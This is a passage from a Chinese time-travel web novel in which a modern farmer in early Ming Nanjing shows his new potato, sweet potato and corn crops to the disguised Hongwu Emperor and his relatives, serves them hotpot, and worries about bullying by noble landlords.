他挥手示意那群阁臣继续自己讨论,然后跟着一脸黑的李文忠走到了殿外。 “保儿,怎么回事?你方才说九江打架了?和谁?” 李文忠头都不敢抬,半弓着身子,叹了口气:“燕王……和九江起冲突的是燕王殿下。” “…………” 良久的沉默。 而后,朱元璋才继续发声:“只有九江认出了老四吧。” “对。” 李文忠,又把腰弯的更低了些。 虽然,他不知道朱棣为什么会出现在那里。 但是作为朱元璋创业途中的重要角色,他的脑子还是很好使的。 他第一时间就和他的坑爹儿子确认了有没其他人认出朱棣,然后才开揍。 “保儿,给咱说清楚,前因后果。” 朱元璋语气很平缓。 但是李文忠,的心尖,却不可避免地颤了颤。 —————————————————————————————— “唉哟唉哟唉哟。”朱棣身上淤青不少,所以,在院子里吃饭时,不可避免会扯动到那些地方,接着……就是忍不住地轻嚎。 这也让朱橚翻了个白眼。 只觉得自家老哥真丢人,出去找场子没问题,被揍成这样回来……有辱家门! “老五你什么眼神,我们八个打五十个啊!五十个啊!” 朱棣不顾身上疼痛,努力地通过肢体语言,想给朱橚展示五十这个数字。 “四哥……你好歹带多点人啊。” “这不庄子里事多么,把人都给带走了,活还干不干了。你自己说的,这段时间不赶着把秧苗育好,就要错过时节了啊。” “理是这么个理……”朱橚,也没办法反驳朱棣的说法,毕竟确实就是如此。 庄里的劳动力并没有想象中那么多。 定居下来的农户里,其实有相当部分的妇女和孩童,特别是孩童,基本没多少劳动力。 而朱安宁又不是什么万恶的资本家,自然也不可能说压榨童工。 甚至说,他经常巡田时还会要求那些农户……不要让那些孩童干那么重的活。 “小周,你把那书都看完了?”朱安宁这些日子,早就习惯了这两兄弟日常扯皮的样子,也懒得管他们拌嘴,不过农事他还是关心的。 他随口问了下,想知道这小周是不是已经把农事篇给看完了。 “朱哥,早就看完了,里面说的法子,感觉上就算管用的,不过确实有部分挺稀奇的就是了……特别是肥料那一块,怎么什么奇奇怪怪的东西都拿来沤啊……” “嘿嘿,你们就大胆做吧,没事的,包没问题,信我。” “好吧……” “对了育秧和草房,过些日子应该就差不多了吧。” “嗯,庄里的人都可勤快了,个个都说吃饱了有力气,干起活来确实利索,朱哥怎么了?” “那大伙应该能略微闲点了呗。”朱安宁端着炒饭,走到院落门口向外望去。 只见茅草房那边,炊烟袅袅,饭点没有人劳作,大家都在猛猛干饭。 “也不知道他们吃不吃得惯米饭。” “嘿,哪能吃不惯,吃得可香了,对他们来说,这年头,有东西吃就不错啦……嘶……”朱棣也捧着炒饭,走到了朱安宁身旁,结果也是扯动了淤青,倒吸了两口凉气。 “也是。”朱安宁点了点头。 这也是他发粮的原因。 饿着干活就慢,效率低了什么都干不成。 当然,更多的还是出于同情,就是同情……毕竟自己所处的时代,已经消灭贫困了啊…… 虽然大家老是在网上调笑说把自己干掉就是消灭贫困人口之类的,但是实际上,脱贫是实实在在的。 朱安宁看了眼远处正在吃饭的村民,不自觉地,笑了出来。 自己力所能及地帮到了些人。 这可是很爽的啊。 一边乐呵着,他一边,把最后的米饭干掉,然后把碗放到了桌面上。 正准备关院门休息下的时候。 一只手忽然,抵住了那门。 这可把朱安宁吓了一跳。 又有人来挑事了? 尼玛的,有完没完……这个明朝是没有王法的么? 饶是朱安宁脾气好,他也忍不住骂了出来。 “我叼尼玛的!”他猛地把门拉开,就想要开骂。 然后,迎面而来的是,许久不见的人…… 这骂到一边,朱安宁连忙憋住,不免有些尴尬。 而朱元璋更是懵。 他正领着李文忠和李景隆,准备推门进去。 结果劈头盖脸地就被人喝了几句。 自己甚至没听清说的是什么。 定睛一看,原来正是朱安宁。 “安宁小哥你……” “啊,是伍爷啊,进来进来,我还以为是谁呢。” 对于自己的首轮天使投资人,朱安宁立马就切换好了合适的态度,想把他迎进去。 结果刚抬起手,却也看见了朱元璋身后的李文忠和李景隆。 只见那李文忠,长相端着,那一看就是稳重之人。 结果旁边那个和他相当相似的年轻人,却是一副伤得不轻的蔫样,脸上青一块紫一块的,眼角都肿了起来。 依稀能辨认出,这应该……大概,也许是李三江?朱安宁疑惑地看向了朱元璋,想让他解释下情况。 “咳咳,安宁小弟,这是咱的外甥,这是他儿子……今天这家伙不是上你这闹事来了吗,我现在才知道情况……”朱元璋对着朱安宁和颜悦色,然后一个回头,笑容马上敛去,他扇了下李景隆的脑袋喝道:“还不过来道歉!” 朱元璋力气可不小。 这巴掌扇得李景隆是脑袋瓜子嗡嗡的,但是他也不敢喊疼,只能连滚带爬地到了朱安宁旁边,行了个大礼:“先生,今日是我行事不端,请先生原谅小子。” 众人见那李景隆滑跪道歉得如此娴熟,也是觉得有些好笑。 特别是远处的朱棣和朱橚,那是直接就嘿嘿笑了出来。 “笑什么笑!老四,你也滚过来!” 朱元璋又大喝了一声。 把朱棣喝得笑容瞬间消失,他连忙跑到了门口。 第六十七章 伍爷你且小心洪武 朱棣也连忙收起了笑容,心里也是咯噔了一下,完了,自己老爹要算账了。 “老四,你说说是个什么情况。” 朱元璋依旧是扇了一巴掌他的脑袋,只是那力道,明显要比打李九江的时候轻一点…… 起码没让朱棣脑瓜子嗡嗡的。 “咳……那个……啊,爹,是三江儿他家的管事过来闹事啊,我只是想把他们赶跑而已。” “三江?”不仅是朱元璋愣了愣,连李景隆的老爹都疑惑地看向了伏在地上的他。 “诶诶,对对对,是我的错。”李九江继续快速滑跪,无比丝滑。 老朱和李文忠也仅仅就是愣了一下,很快就反应了过来,又是随便起的名字吧…… “三江,给我说清楚什么情况!”朱元璋其实来时已经听过一次了,但是拎人过来道歉,说多一次也无妨。 “是那李富贵害我啊!” “说重点!!!” “是……是先生这边收租太低了,咱家的下人招不到合适的佃农,气不过,就想过来闹一闹……结……结果被四哥揍了,我就想回来找找场子,结果又被揍了……” “你几十号人都打不过老四他们几个人?”朱元璋也没怎么生气的样子,他只觉得有些好笑,直接就嗤笑出声。 “是……是四哥他不讲武德,一个劲追着我打……您看我这伤……” “放屁,三江你莫要含血喷人,我可没把你打成这样……而且我没打你脸啊!”朱棣一听,那是急了起来,看那李九江的惨状,怎么会是自己打的嘛,他清楚地记得,就是踹了两三脚,打了几棍子而已! 朱棣大声地解释着。 而后,是长久的沉默。 过了不知多久,李文忠才尴尬地说道:“脸上那些伤是我打的……” “行了行了,九……呃,三江,赔礼道歉不只是道歉,赔礼呢?” 朱元璋也是觉得这闹剧差不多了,他今天抽空过来,可不是就为了这个道歉戏码,他是想看一看那些作物如何了,以及看看这所谓的永乐庄,现在是什么情况。 十收一的庄子……那真是绝无仅有啊,前些时日朱安宁说自己想要当地主时,他只是觉得就是个赚了些银子就想享福的,有些能力的人罢了,没想到……格局啊格局…… “在这里在这里,先生,这是我的歉意,请你务必要收下。”只见李九江挪到了朱安宁的身边,一把把几张银票塞到了朱安宁的手里。 朱安宁看着手中的银票,只觉得这些个地主是不是穷得只剩下钱了,怎么这么朴实无华! 只是,为什么不直接给银两呢? 这洪武朝的银票可不值钱…… 到后面老朱货币超发,直接就崩了。 现在好像还可以,就勉强收下吧……到时赶紧换成实物就好。 看着朱安宁收下银票的笑脸,朱元璋是只想翻白眼。 果然,这家伙的能力是有的,怎么就只爱钱银,不想当官呢……不过你说他爱财,这家伙又弄出了十收一这种逆天的事情。 “对了,安宁小弟,我外甥和这三江都算是自己人,你且带咱去看看那些新粮吧。” 朱元璋看这件事情已经告一段了,连忙对朱安宁说出了正题。 李文忠,算是他这边少见的文武双全的可靠中年人,所以,这次,也是想给李文忠看看新作物,如果可以的话,晚些就可以商讨明年初三征北元的事情了。 “新粮?”李文忠有些疑惑,但却也是很好地被他按压了下去。 要说今天有什么震撼的话,并不是他儿子惹出来的这破事。 而是朱元璋对这小弟的态度,和进来时他看到的朱棣和朱橚! 这小哥,怎么回事?! 所以说,果然有古怪。 关系到正事,他也就没有再含糊,连忙跟了上去。 朱安宁听见朱元璋这么说,也是没什么意见,投资人想看成果嘛,多大点事,只要不用做ppt去吹,就行。 “伍爷,这边,在隔壁小院子里。” 朱安宁先把门关上,然后才领着一群人浩浩荡荡地走向边院。 只见那田,已经长出了许多苗。 朱元璋和李文忠可不是什么五谷不分的人,他两一个箭步就窜了上去。 “真种出来了!”虽然朱元璋偶尔也会听朱棣朱橚的汇报,但是,现在这可是眼见为实啊。 他有些激动了摸了摸那些从未见过的苗,回头问道。 “这就是番薯?” “伍爷,这是土豆,番薯在那边,然后这是玉米,那是青椒、红椒和番茄。”朱安宁也是有些自豪,毕竟自己没有创业未半而中道奔殂,还是很好地开了个头的。 “土豆和番薯挺多的啊,这玉米更是多,但是辣椒番茄那边怎么这么少啊……” “呃,成活率有点低,等种多两轮……总结一下,或许能变好。”朱安宁也是有些尴尬,大概真的就是自己技艺不行吧,不过幸好主要的三大主粮,都还过得去。 只见朱安宁和朱元璋,就这样蹲在田间不断地说着话。 李文忠被晾在一边,有些好奇,又有些无奈。 他大概是听清楚了有好几种新作物。 名字完全没有听过的新作物,这新作物就这么重要?倒是来个人给我解释下啊。 看那李文忠的样子,虽然朱棣和朱橚是知晓情况的,但是这种场合他们哪敢乱开口…… 直到过了许久,朱元璋问清楚了具体成熟的时间。 “你说这三个月就能产出?”他有些咋舌,产量大,还长得快…… “嗯,这天热,长得快。” “当真?” “真啊……” “安宁小弟,你是知道我和户部那边有点关系的对吧,这话可不好乱说的啊。” “伍爷,你现在就透露出去了?!”听见朱元璋的话,朱安宁也是心里一惊,完犊子,这老头要是提前报了上去,指不定朱元璋第二天就会派人把自己的小院给围了啊……锦衣卫……啊对现在还没锦衣卫…… “尚未。” “那就好那就好……” “怎么,你就那么怕被上面知道?” “那可不,种得出来大功一件,种不出来,或者时间有点偏差,那皇帝不诛你九族啊。”朱安宁翻了个白眼。 “你就觉得,那洪武帝就这么暴虐?” 朱元璋一脸不满。 朱安宁看这周围围了一圈人,也不好大声说,便拉住朱元璋,蹲在角落小声说了起来。 “这胡惟庸不都死了么,听说还被夷了三族,伍爷你信我,绝对就是个开始,接下来才是大清洗,咱们洪武帝的刀,可是利得很的啊。” “你在胡说些什么……” “咱们熟,平时也说开了,我才提醒您,您可别到处乱说啊。我们还是小心点好,别到时那洪武帝从南门砍到北门,把咱们都给卷进去,这就完咯。这地啊,咱们还是种好了再把种粮交上去就好。” 第六十八章 骂文人 两人身后,站着李文忠,朱棣朱橚,和鼻青脸肿的李景隆。 他们看着朱元璋一脸蛋疼地站了起来,然后又被朱安宁拉着蹲了下去。 只见朱元璋满脸复杂的表情,在看着朱安宁。 “安宁小弟……洪武帝闲的啊,他杀那么多人做甚。” “他早就看不惯那些文人了呀。” “你又知道他看不惯?” “哎,跟你个伍老头说不通,反正你别把咱种新粮这事整上去先。”朱安宁说得有些无奈,也不知道怎么解释,他总不能明说胡惟庸案延绵了十年之久,接下来还有三大案等着吧…… 见朱安宁一副说不通就摆手的样子,朱元璋也是无语。 但是唯有一句他是认可的。 他早就看不惯那些文人了! 叽叽喳喳几只鸦,满嘴喷粪叫呱呱。 今日暂别寻开心,明早个个烂嘴丫。 这首《骂文人》,就是老朱的佳作。 “好好好,咱绝对不说上去。”朱元璋也站了起来,虽说朱安宁说他嗜杀他很不爽,但是,他确实是动了心思的……只是最后被朱标和马皇后劝住了而已。 这家伙怎么挺懂自己的啊。 难道真的懂得观星? 真是奇了怪了。 众人就看着朱元璋和朱安宁一起起了身。 然后朱元璋不知道在那里嘀咕什么,过了半晌,他才回过身去看向了李文忠。 “侄儿,这几种粮食,亩产都在七石以上,特别是这种,成熟时间三月,亩产能到十石。”他指了指番薯苗,说道。 “十石?!”李文忠倒吸了一口凉气。 这些事情,迟早都是要告诉身边几个重臣的,所以朱元璋毫不忌讳。 “啊,十石很多么?”鼻青脸肿的李景隆,挪到了朱棣朱橚的身旁问道。 打架归打架,这几个人从小就一起长大,感情还是有的。 朱橚看着眼神清澈的李景隆,叹了口气:“咱们的地,种麦也好,种稻也好,也就是二三石而已。” 他略微解释了下。 “这么多?!”这下轮到李景隆惊叫了,他才没有他爹那般沉稳,所以一下就叫了出来。 这下也把朱元璋给逗乐了。 他对文人很不好,对贪官更是赶尽杀绝。 但是早期,他对待自己的亲友,还是给足了信任的。 他瞥了眼李景隆,笑了两声:“三江,接下来你也陪老四老五在这里耕地罢了,别天天在那瞎逛,学堂上得还挺不错的,怎么最近做事老是不着调啊。” 虽然是看向李景隆,但是他的目光很快又转向了李文忠。 “全凭您决定。”李文忠哪敢怠慢,连忙行了个礼。 然后又是一巴掌给了李景隆的后背。 李景隆也是麻溜地弯下了腰:“好……好的。” 啊?又多一个人,这么多关系户的么,季爷家那边还有两个没过来啊。 朱安宁也是有些无奈了。 但是也不好反驳什么。 到目前为止,他的钱银,都是这帮人出的。 吃人嘴软,拿人那是手短啊。 不过这个看起来就很纨绔的家伙……能干嘛啊…… 现在自家这小燕干活跟畜生似地卖力,小周又懂得多,两人都能和现在庄子里的农民们打成一片。 朱安宁并不知道,眼前这个鼻青脸肿的人,可是改写了大明历史的第一号战神,李景隆……当然二号战神兼留学生,是比李景隆还要炸裂的。 “外甥,你平时也算勤恳,要不是看在你勤恳的面上,我是不会只让你补偿点银子给安宁小弟就算了事的,懂么?” 朱元璋笑归笑,但是要敲打的地方,他是毫不含糊的。 他这段话既是说给李文忠听的,也是说给李景隆听的。 其实李景隆一点都不蠢,相反,他长相清秀,自小就通典故。 所以打小朱元璋就喜欢他,不然也不会说种粮这么重要的事情,也让他掺和进来。 “懂。”李文忠父子连忙又行了个礼。 也是把一边的朱安宁看得想翻白眼。 不就是舅舅和外甥么,用得着在那里拜来拜去行礼么,你老舅还能砍了你们两父子啊。 不过这看起来像是别人的家事,他是绝不会说什么的。 几人看完那些苗,便也退回到了院子里。 这时李文忠父子也是看到那大得有些夸张房车。 只是朱元璋和朱棣朱橚都一副习以为常的样子,他们哪敢开口问。 只能当是什么奇怪的马车罢了,毕竟有轮子。 旁边桌面还摆着他们三人刚吃完的空碗。 朱元璋也毫不见外,他一下就坐到了椅子上,叹了口气。 “跑来你这,折腾了半天,午饭都没来得及吃上,安宁小弟,给我们整点吃的?” 老朱是毫不客气的。 朱安宁也不觉得有什么,毕竟早上这事发生没多久,这伍爷第一时间就拎着人上门道歉,还给自己赔了银子……虽然自己毫无损失…… 所以做顿快点的饭给他们,也不是不行。 “火锅?就是那天的麻辣烫。” “这个甚好,这个甚好!!!” 朱元璋舔了舔舌头,许久没吃了,他是真的馋啊。 刚才还在收碗的朱橚,听见朱安宁的话语,却又马上把他和朱棣的碗筷放回了桌面。 “你们干嘛?没吃饱?”朱安宁看着朱橚的动作有些无语。 朱棣看着自己弟弟这么上道,也是点了点头。 “朱哥,火锅,是另外一个胃装的。” “没错。” 朱橚也是严肃地点了点头。 他们是吃过火锅的,那味道简直惊为天人! 可惜的就是,朱安宁老是扣扣搜搜,来了这么些日子,也就吃过一回…… 他们不知道的是,朱安宁的存货是有限的啊。 虽然他在现代出发前,买足了几大袋火锅底料,而且来到明朝后,每次火锅都是只下一小块,但是他依旧不敢多用。 除非哪天辣椒能收获,到时他尝试复刻一下,能成功的话,他才敢敞开来吃。 看见朱元璋父子三人一副很是期待的样子,李文忠父子也是好奇了起来。 “四哥五哥,这火锅是什么东西?” “哎,三江,坐下,吃就对了!”朱棣有些不耐烦,指了指空凳子,示意李景隆坐下。 而此时的朱安宁,已经转身回去拿好了配料。 当着他们的面,点着了柴火炉。 简单地炒了下料,还未兑水,那异香,已经布满整个院子。 那朱元璋等人,就如道友般,在那猛地吸气,一副很是享受的样子。 神经病啊……不呛么……怎么感觉这几个人,比自己还能吃辣啊。 朱安宁一边抄料,一边在心里吐槽。 第六十九章 你饿吗(求追读啦!!!) 水淀粉抓过的嫩肉片,还有挂面,再加点青菜。 这就是朱安宁准备的饭菜。 当然,还有那口麻辣锅。 牛油在上面翻滚,虽然有点薄……那是朱安宁真的抠…… 辣椒的味道混杂着香料的香气,氤氲而上,弥漫在整个院子里。 李文忠和李景隆,那眼是直的。 而朱元璋三父子,相对来说,要好得多,毕竟吃过。 “这是什么吃食?”李文忠吸了几口厚重的牛油辣椒香气,开口问道。 “李叔,这是极西之地的吃食,麻辣鲜香,您一会好好尝尝。” “米饭呢?怎么只有面?”而朱元璋却皱起了眉头。 “伍爷,饭都被你两个儿子吃完了啊……”朱安宁看着这一副想要敲碗样的朱元璋,也是叹了口气。 “哎,真是可惜了。”朱元璋也叹了口气:“这等美食,配米饭才是上佳。” “伍爷别挑了,面也不错了,你看看外面那群刚定居下来的人,对他们来说,有东西吃就是了不得的事咯。” 朱安宁也没有反驳朱元璋,其实他也更喜欢吃饭,只不过现在仓促之下,要是弄饭的话,怕不是又得耗上半个时辰。 “也是,如今天下虽定,但是,说安居乐业,还真差得远呢……”朱元璋沉默了半晌,缓缓说道。 接着,他又抬起了头,对朱安宁问道:“你这地真的十收一?” 听见朱元璋说话,李文忠和李景隆也看向了朱安宁。 只有朱橚和朱棣不为所动。 “对啊,都签契约了,十收一就十收一嘛,怎么?咱大明律法有规定不能这样?” “哈哈,这倒没有,只是你这十收一的地主,真的有赚头嘛?” 朱元璋对此,确实是好奇的。 “嗨,这地是我的,我就是收点租,又不想大富大贵,能生活得下去就算了呗,而且过段时间,咱们这土豆番薯玉米一类的新粮要是种出来了,永乐庄这几百亩地,肯定是第一时间要种上的。” 朱安宁把肉和面条也放了下去,搅拌了一下,又接着开了口:“到时亩产起来了,我也就能收得更多,与其去压榨那一两石的亩产,不如想办法提高庄里田地的产量,他们吃饱了,我也就有租收了呗。” 他并没有去说些很超前的想法,朱安宁也是知道时代局限性的。 更何况,他就想着身前这批人就是些地主土绅一类的人,仅此而已,也没想要和他们说些什么复杂的道理。 但是正也是这种粗浅的说法,反而更能直击人心。 李文忠拍了拍桌子,却也立马想起了,他的好舅舅还在身边呢……于是他没敢说什么,又缓缓地坐下。 老朱还没表态,他这么激动,已有了取罪之道! 朱元璋也知道,李文忠在虚些什么,他甩了个眼神过去,然后才笑了起来。 “提高亩产……这个想法确实好啊。”闻着火锅底料混着小麦和肉类的香气,朱元璋像是想起了什么似般感叹道。 “要是全天下的地主,都有你这种想法。几十年前,也就没有那么多乱战了……” 朱安宁对于这个问题,只是笑了笑,并没有想回答。 首先这个如果根本就不存在。 地主阶级对农民阶级的压迫是天然的,如果有了更高的产量,他们也只会征收更多的租子。 此外,元末战争频发可不只是农民的问题。 南人北人,三等人四等人,还有奇葩的宫廷腐败问题,基本无效的基层管理问题。 随便拎一个出来,放其他朝代都是王炸。 元能苟上快100年也真是奇迹。 朱安宁把面肉菜分到几个碗里,然后把汤汁都倒了进去,推到了他们的面前。 “好咯,吃吧。” “你不吃?”朱棣舔了舔舌头问道。 “我没有那么多个胃……你们年轻,能吃,多吃点……” “好嘞。” 朱棣应了声。 而朱元璋和李文忠父子,其实也是早就饿极,几人都道了个谢,就动筷吃了起来。 院子里,很快就剩下了吃面的声音。 然后,是避免不了的咳嗽声。 朱元璋父子倒还好,他们有经验。 只见那李文忠,一口下去,脸就涨红了起来,然后就是放下筷子,猛地咳了起来。 “我……哇……如此辛辣!” 朱安宁这边却也早有准备,他已经递了一杯水过去。 “谢……谢谢安宁小弟。”李文忠连忙道谢,开始喝了起来。 而令一众人都没想到的是,李景隆虽然也是面色涨红,却如龙吸水般开始猛吃了起来。 “这等美味……这等美味!”他一边吃,一边感叹。 不消一会,他便把面吃得一干二净。 这李三江,看来是啥都不行,干饭第一名啊……朱安宁看着那汤都被舔干净的空碗,那是目瞪口呆。 连他老爹李文忠,都露出了惊讶的表情。 而朱元璋,他根本就不想管这些小事,他只是在安心地享受着自己的快乐时光。 内阁制已经运行好几天了,那些阁臣以前都是些品级不高的文官,能力还可以,现在不用提他们的品级和职衔,却也可以让他们帮自己办事,那可轻松太多了。 而且最终拍板这种事情,没了他老朱,还有他的好大儿在。 一想到能够略微从政事里解脱出来,饶是老朱,也免不了有些放松。 重要的是,今天出来看到那新粮,那是顺顺利利,长势喜人。 所以这面,吃得是真的愉快加惬意。 一旁的朱棣和朱橚,也是,劳作了一个上午,就他们这十来岁二十不到的年纪,那是最能吃的时候,所以根本没有管李景隆在干嘛,他们就是在猛猛地干饭,只是没有李景隆吃得快而已。 只见李景隆抹了下嘴巴。 长长地舒了口气。 然后像是喃喃自语般开了口:“这等吃食,要是能卖到城里去,一两一碗怕都是有人抢着吃啊。不,要是给那群家伙吃,十两他们怕不是都掏得出来。” 一旁的朱安宁可不是聋子,他敏锐地提取到了关键词。 “多少?你说能卖多少?” 第七十章 汗流浃背了吧(求追读啦!!!) “你说这面一碗能卖十两?”是朱安宁在惊叹,城里这么人傻钱多的么? “看谁嘛……城里一堆公侯爵爷,他们家老有钱了。”李景隆那是说得大大咧咧。 却也差点把那在一旁吃面的李文忠给呛个半死。 你在朱元璋面前说公爷侯爷们家里有钱,你是不是老寿星上吊啊。 是想害死自己和那帮老兄弟是吧…… “咳咳咳咳咳!!!”李文忠咳的不像方才那么顺畅,那是气闷的咳。 朱元璋却也是头都没抬:“外甥,没事吧,怎么咳这么厉害呢。公侯爵爷家有钱不是很正常嘛,皇上赏他们的嘛,不然他们哪来的钱?总不能是抢的或者搜刮的吧?呵呵。” 朱元璋吃着面,笑得人畜无害。 只是这话说出来,可就不止是李文忠流汗了。 连李景隆这个草包都听懂了些言外之意,于是连忙噤了声。 而另李文忠父子痛苦不堪的是,有人接话了。 朱安宁在给大家倒着茶水,也是呵呵笑了起来:“连菜场街口的大妈都知道那群爵爷们什么情况。” “安宁小弟,话可不能乱说啊。”李文忠连忙出了声,那一头汗也不知道是辣的还是什么情况。 朱安宁抬头疑惑地看了眼他,只觉得这阿叔也太菜了吧,才吃了几口就辣成这满头大汗的B样了?祖籍广东人? “诶,咱这又没有外人,有什么不能说的,谁会把咱么聊天的话说出去嘛,是吧外甥。”朱元璋又吃下一口面,终于抬起了头来,那是笑容满面,真就如某个农庄里那些常见的大爷那般:“平常咱也没少和安宁小弟说这些事,有甚问题嘛,就咱们在院子里说说而已。” 听见朱元璋开口,李文忠还哪敢吱声,只是停在那里也不是,他只得继续开始吃面,满头大汗地吃。 李景隆也是,只是他更为尴尬,面都吃完了,只好在那剐自己的碗…… “对了安宁小弟,你刚才说街口那些大妈怎么说的。” 朱安宁没怎么注意到那两父子的囧样,他听朱元璋发问,便也是沉吟着说了下去。 “淮西勋贵……欺压百姓呗。”百姓们都在骂,自己这群人也都是百姓,总不能骂两句都会出事吧,所以朱安宁也是说得毫无负担。 “嘿,这欺压百姓的事情都传得到处都是啦,有意思。” “咱们陛下估摸着也是知道的,就是想给自己老兄弟一点机会吧。”朱安宁笑了笑:“就是,机会是有限的呗。” 胡惟庸案,延绵十余年,牵连甚广,无辜的人确实有,但是里面,真的就全是错杀? 郭恒案,蓝玉案,也是如此。 要是说明初四大案里,真正说有点冤的,也就是空印案罢了。 “那是,朱皇帝肯定是会给机会的,但是机会,也得看他们把握啊。”朱元璋嗦了口面,边嚼边说:“安宁小弟,街口还听到什么好玩的事情没?” “哪来那么事啊,我也就进了城几次而已……对了,三江,你说这面能卖十两是真的么?”朱安宁又把话题拐回了小钱钱上。 虽然他现在不缺,但是这种东西不是越多越好么。 只是现在李景隆哪敢回答这个问题。 这可是送命题啊。 “我……我也不知道啊,随口说说的而已啊……呵呵……”只见李景隆颤颤巍巍,一副随时要晕过去的样子。 “啊,随口说说啊,我还想是不是能去城里卖点面条补贴下呢……” 朱安宁表示很是失望,本想着是条财路,可惜了。 “怎么?你现在很缺钱?” “到没有特别缺,前几日,小燕和小周不是还在我这里用银子换了点吃食么,我现在还够。” “哦?老四老五,你们还买安宁小弟的东西了?什么啊,咱怎么都没听说啊。” 继李氏父子冒完冷汗后,现在轮到朱家兄弟满头大汗了。 他们现在真的恨不得堵上朱安宁的嘴…… 只是比李氏父子情况要好的是,这次朱安宁帮朱棣朱橚回答了问题:“没什么,就是一些加了香料的面而已。” 至于为什么要帮忙回答,是朱安宁突然想起了,这两兄弟可是高价买的……现在他们老爹在这里……不帮忙圆一下,一会两兄弟被批花乱花银子,那自己可就罪过了。 于是他连忙想换个话题:“对了,伍爷,您这边的地,一般收多少啊。” “我?我的地?”生硬的话题转换,让朱元璋一时有些意外,过了半晌他才听懂朱安宁的意思,大概是问他的地租,只是这个问题就有些好笑了,官田七成,有多有少嘛。 于是他开口道:“有些田不太行,我就免了几年租,有些地还可以我收得比较多,还有些地,那些佃农特别令人讨厌,我收得最重。” 朱元璋乐呵呵地说道。 “啊?还能这样?伍爷您地可真多啊。” “诶,一般一般,不过再咱么算下来,也没有你的十收一少啊,天下间,大多数地主,都不懂得可怜那些面朝土背朝天的农民,都是只顾自己快活的人。”朱元璋看着朱安宁,也是在感叹这个年轻人,十收一真的是太夸张了,如此品行,却不愿做官……自己天天在朝堂和那群虫豸一起,真是难受。 “地主也有懂农民的呀,我看伍爷你对佃农不也挺好的么?” “啊?我?”朱元璋是真的哈哈大笑了起来,他本就是农民出身,能为难农民么? 朱安宁也配着笑了起来。 其他几个人总算是可以松一口气。 只要不再讨论刚才的话题就好…… 太可怕了。 “对了伍爷,您不是有关系么,咱这庄子要不要打点一下啊……之前听季爷说,这附近有不少公侯的俸禄田,他们可不好惹啊,我现在这十收一……” 结果,李文忠父子刚松下的气,又提了起来。 “你怕那些公侯过来扰你?”朱元璋的笑意还未敛去,只不过眼神已经变了些许。 “哎,人家什么地位,我们什么地位,淮西勋贵们一个两个都是嚣张惯了的,当街杀人怕不都是常事,要是他们盯上了我……”朱安宁是真的有些怕的,毕竟穿越前看电视剧,那群淮西勋贵基本都是打仗牛逼,欺压百姓更是一把好手……自己可不想惹上他们,索性能提前攀点关系,花点银两消消灾? 朱安宁的想法很朴实无华。 而李文忠,也再也忍不住,猛地拍了下桌子,站了起来。 第七十一章 三江的小报告 李文忠猛地拍了下桌子。 把一圈人都吓了一跳,特别是朱元璋,他已经露出了不快的表情。 而只见那李文忠,抹了抹汗,慌忙说道:“安宁小弟,我家这边能和附近的公侯们攀点关系,你尽管放心,我托人去和他们说说,保证不会再有人过来骚扰永乐庄的。” 啊?这么大面子? 朱安宁是有些不信的,你丫又不是红发香克斯…… 口气那么大,要蓝天六必治么…… 他是回过味来的了,自己这十收一,可能真的是很扎眼啊。 在封建地主的地盘里,搞更先进的那一套,指不定是要出大事的啊……和自己苟的目标,不符。 得想办法打点下周边。 在人家地头讨生活嘛,不丢人…… “侄儿,你和那些勋贵很熟么?”结果是朱安宁还没回答,是朱元璋先开了口。 朱元璋接过了朱安宁递过去的水,喝了一口,才慢悠悠地说道。 这个问题。 就很有意思了。 李文忠也不想揣摩那么多意思。 但是……不揣摩,说不定要出大逝啊…… 熟还是不熟,这是个问题…… “能说上些话……”李文忠憋了许久,才开的口。 “哦,能说上些话啊,没必要特地去打点啦,三江以后不都在这嘛,你就让三江去处理不就好了么。”朱元璋瞥了一眼李景隆,像个慈祥地大爷一样呵呵地笑着说道:“这样,三江,哪家公侯过来,你帮忙说一声,你就说这是你家的地,然后呢,帮咱记一记是谁来过,到时咱啊,也好去那些个公侯家打下招呼。” “伍爷,你也和那群公侯很熟?了不得啊!”朱安宁惊讶地看着眼前的大爷,只觉得他还挺有能量的嘛。 “诶,怎么熟了?不熟不熟,就是和他们家下面那些管事熟而已,他们家下边的那些管事啊,好多都是以前我认识的人嘛。”朱元璋笑呵呵地继续说着,眼睛是若有若无地看向了李文忠。 李文忠内衣都早已浸湿,他尴尬地笑了笑,推了李景隆一把。 “三江,听到没有?” “听……听到了。”李景隆连忙颔首。 “啊,原来是认识下面那些管事啊,不过这样也够了,还是伍爷人脉广啊!”朱安宁听完朱元璋的解释,没心没肺地笑了起来。 朱元璋也随之哈哈大笑。 笑得李文忠,心里发毛…… 哎,只希望,那些个勋贵们,千万不要想不开啊。 这永乐庄,说不定是要通极乐的啊。 ———————————————— 朱元璋来小院,对朱安宁来说不过是个插曲。 最重要的是,自那之后,虽然也会有人过来闹事,但是三江还真顶用啊。 由他出面,真就能把附近俸禄田的那些管事们,挡回去。 所以真是红发香克斯呗,人不可貌相啊…… 不过想一想,地主之间相互串联好像也不是什么大事,朱安宁也便是释然了。 唯一改变的是,李景隆,也住了进来…… 他住进了一个小厢房里。 然后每日被朱棣使唤来使唤去的,跟个孙子似的。 是上辈子欠的么? 直到后面惨到连朱安宁都看不下去了,才叫住了朱棣。 “小燕啊,使唤人也要有个度吧……”朱安宁在田里叫停了已经有点趋向于80的朱棣。 却也让朱棣和李景隆都有些懵逼。 “我使唤他不是正常的么?”朱棣心想。 “我被使唤不是正常的么?”李景隆心想。 于是两人都站直了身子,看向了朱安宁。 反倒让朱安宁觉得,是不是自己做错了什么…… “哎,算了算了,我先回去做饭,一会你们回来吃饭吧。” “哦!” 结果响应的不止是两人,还加上了朱橚。 这三人,最期待的就是朱安宁的放饭时间,差不多和当代的高中生期待冲向饭堂那种感觉类似。 主要是朱安宁老是能整点新花样出来给他们吃。 就很是期待。 朱安宁也没有管那三个小屁孩在想什么,他只是觉得,这物资耗得有点快,他很是心虚…… 他一边想着,一边往回走着。 田间的农民们,不断地站起来和他打着招呼。 “朱爷,又回去做饭了?” “嗯,都快正午了,晒啊。” “呵呵,晒您就歇着呗,没必要天天和我们一起干这农活。” “哈哈,闲不住,而且咱们庄子育秧已经晚了些日子了,再不早点整好这些田地,今年可就没收成咯。” “朱爷您这样的地主真是少见啊。” 几人在那和朱安宁闲聊着,手里的劳作却也没有停下。 不远处,有几个小孩,是将将能扛起农具的那种年纪,也在那干着活。 朱安宁多看了两眼,却也是忍不住叹气。 这么小都要干活,古代真是不太美好啊。 不消几步路,朱安宁就走回了院子里,随便做了几份煎蛋面。 而,忙完农活回来的三人组,看着那鸡蛋面,多少有些失落。 朱棣很是不甘地问了句:“哥,不能撒点辣椒粉么?” 